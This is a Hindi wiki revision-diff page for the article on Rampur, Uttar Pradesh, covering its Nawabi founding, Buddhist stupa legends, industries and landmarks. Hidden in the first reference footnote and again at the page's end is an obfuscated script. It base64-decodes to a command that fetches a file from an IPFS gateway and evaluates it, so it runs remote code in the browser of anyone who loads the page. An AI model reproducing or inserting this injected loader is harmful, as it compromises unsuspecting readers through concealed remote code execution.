"रामपुर" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} नवाबों की नगरी रामपुर उत्तर प्रदेश रा...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - "पश्चात " to "पश्चात् ")
 
(3 सदस्यों द्वारा किये गये बीच के 6 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
[[चित्र:Rampur-Raza-Library.jpg|thumb| रामपुर राजा पुस्तकालय, रामपुर]]
नवाबों की नगरी रामपुर [[उत्तर प्रदेश]] राज्य का एक जिला है। रामपुर नगर उपर्युक्त ज़िले का प्रशासनिक केंद्र है तथा [[कोसीकलाँ|कोसी]] के बाएँ किनारे पर स्थित है। रामपुर नगर में उत्तरी रेलवे का स्टेशन भी है। रामपुर का चाकू उद्योग प्रसिद्ध है। चीनी, [[वस्त्र]] तथा चीनी मिट्टी के बरतन के उद्योग भी नगर में हैं। रामपुर नगर में [[अरबी भाषा]] का एक महाविद्यालय है। रामपुर क़िला, रामपुर राजा पुस्तकालय और कोठी खास बाग़ रामपुर के प्रमुख पर्यटन स्थलों में से है। रामपुर जगह का कुल क्षेत्रफल 2367 वर्ग किलोमीटर है। रामपुर की स्थापना नवाब फैजुल्लाह खान ने की थी। उन्होंने 1774-1794 तक यहाँ शासन किया।
+
'''रामपुर''' [[उत्तर प्रदेश|उत्तर प्रदेश राज्य]] का एक ज़िला है। रामपुर नगर उपर्युक्त ज़िले का प्रशासनिक केंद्र है तथा [[कोसीकलाँ|कोसी]] के बाएँ किनारे पर स्थित है। यह प्रसिद्ध ऐतिहासिक स्थान भी है, जिसका [[बुद्ध|महात्मा बुद्ध]] से निकट सम्बन्ध रहा है।
  
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
+
*रामपुर की स्थापना नवाब फ़ैजुल्लाह ख़ान ने की थी। उन्होंने 1774-1794 ई. तक यहाँ शासन किया।
{{संदर्भ ग्रंथ}}
+
*भगवान बुद्ध के परिनिर्वाण के पश्चात् उनके अस्थि अवशेषों के आठ भागों में से एक पर एक [[स्तूप]] बनाया गया था, जिसे 'रामभार स्तूप' कहा जाता था। संभवतः इसी [[स्तूप]] के [[खंडहर]] इस स्थान पर मिले हैं। किंवदंती है कि इसी स्तूप से [[नागा|नागाओं]] ने [[बुद्ध]] का दांत चुरा लिया था, जो [[श्रीलंका|लंका]] में 'कांडी के मंदिर' में सुरक्षित है।
 +
*कुछ विद्वान् रामपुर को '[[रामगाम]]' मानते हैं।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= |संपादन= |पृष्ठ संख्या=791|url=}}</ref>
 +
*रामपुर का उल्लेख '[[बुद्धचरित]]'<ref>'बुद्धचरित' 28, 66</ref> में है, जहाँ रामपुर के स्तूप का विश्वस्त नागों द्वारा रक्षित होना कहा गया है। कहा जाता है कि इसी कारण [[अशोक]] ने बुद्ध के शरीर की धातु अन्य सात स्तूपों की भांति, इस स्तूप से प्राप्त नहीं की थी।
 +
*'नवाबों की नगरी' कहे जाने वाले रामपुर में उत्तरी रेलवे का स्टेशन है।
 +
*रामपुर का चाकू उद्योग काफ़ी प्रसिद्ध है। चीनी, [[वस्त्र]] तथा चीनी मिट्टी के बरतन के उद्योग भी नगर में हैं।
 +
*शिक्षा के अंतर्गत यहाँ [[अरबी भाषा]] का एक महाविद्यालय है।
 +
*'रामपुर क़िला', 'रामपुर राजा पुस्तकालय' और 'कोठी ख़ास बाग़' रामपुर के प्रमुख पर्यटन स्थलों में गिने जाते हैं।
 +
*रामपुर का कुल क्षेत्रफल 2,367 वर्ग किलोमीटर है।
 +
 
 +
*लगभग 200 [[वर्ष]] पुरानी, [[रुहेलखंड]] की एक रियासत का नाम भी रामपुर था, जो [[उत्तर प्रदेश]] में विलीन हो गयी थी। इसके संस्थापक रुहेले थे।
 +
*प्रसिद्ध चीनी यात्री [[युवानच्वांग]] ने रामपुर के क्षेत्र का नाम 'गोविषाण' लिखा है।
 +
 
 +
{{लेख प्रगति|आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}  
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{उत्तर प्रदेश के नगर}}
 
{{उत्तर प्रदेश के नगर}}
[[Category:उत्तर प्रदेश]][[Category:उत्तर प्रदेश के नगर]][[Category:भारत के नगर]]
+
[[Category:उत्तर प्रदेश]][[Category:उत्तर प्रदेश के नगर]][[Category:भारत के नगर]][[Category:उत्तर प्रदेश के ऐतिहासिक नगर]][[Category:उत्तर प्रदेश के ऐतिहासिक स्थान]][[Category:ऐतिहासिक स्थान कोश]][[Category:इतिहास कोश]]
[[Category:नया पन्ना]]
 
 
__INDEX__
 
__INDEX__

07:34, 7 नवम्बर 2017 के समय का अवतरण

रामपुर राजा पुस्तकालय, रामपुर

रामपुर उत्तर प्रदेश राज्य का एक ज़िला है। रामपुर नगर उपर्युक्त ज़िले का प्रशासनिक केंद्र है तथा कोसी के बाएँ किनारे पर स्थित है। यह प्रसिद्ध ऐतिहासिक स्थान भी है, जिसका महात्मा बुद्ध से निकट सम्बन्ध रहा है।

  • रामपुर की स्थापना नवाब फ़ैजुल्लाह ख़ान ने की थी। उन्होंने 1774-1794 ई. तक यहाँ शासन किया।
  • भगवान बुद्ध के परिनिर्वाण के पश्चात् उनके अस्थि अवशेषों के आठ भागों में से एक पर एक स्तूप बनाया गया था, जिसे 'रामभार स्तूप' कहा जाता था। संभवतः इसी स्तूप के खंडहर इस स्थान पर मिले हैं। किंवदंती है कि इसी स्तूप से नागाओं ने बुद्ध का दांत चुरा लिया था, जो लंका में 'कांडी के मंदिर' में सुरक्षित है।
  • कुछ विद्वान् रामपुर को 'रामगाम' मानते हैं।[1]
  • रामपुर का उल्लेख 'बुद्धचरित'[2] में है, जहाँ रामपुर के स्तूप का विश्वस्त नागों द्वारा रक्षित होना कहा गया है। कहा जाता है कि इसी कारण अशोक ने बुद्ध के शरीर की धातु अन्य सात स्तूपों की भांति, इस स्तूप से प्राप्त नहीं की थी।
  • 'नवाबों की नगरी' कहे जाने वाले रामपुर में उत्तरी रेलवे का स्टेशन है।
  • रामपुर का चाकू उद्योग काफ़ी प्रसिद्ध है। चीनी, वस्त्र तथा चीनी मिट्टी के बरतन के उद्योग भी नगर में हैं।
  • शिक्षा के अंतर्गत यहाँ अरबी भाषा का एक महाविद्यालय है।
  • 'रामपुर क़िला', 'रामपुर राजा पुस्तकालय' और 'कोठी ख़ास बाग़' रामपुर के प्रमुख पर्यटन स्थलों में गिने जाते हैं।
  • रामपुर का कुल क्षेत्रफल 2,367 वर्ग किलोमीटर है।
  • लगभग 200 वर्ष पुरानी, रुहेलखंड की एक रियासत का नाम भी रामपुर था, जो उत्तर प्रदेश में विलीन हो गयी थी। इसके संस्थापक रुहेले थे।
  • प्रसिद्ध चीनी यात्री युवानच्वांग ने रामपुर के क्षेत्र का नाम 'गोविषाण' लिखा है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 791 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. 'बुद्धचरित' 28, 66

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>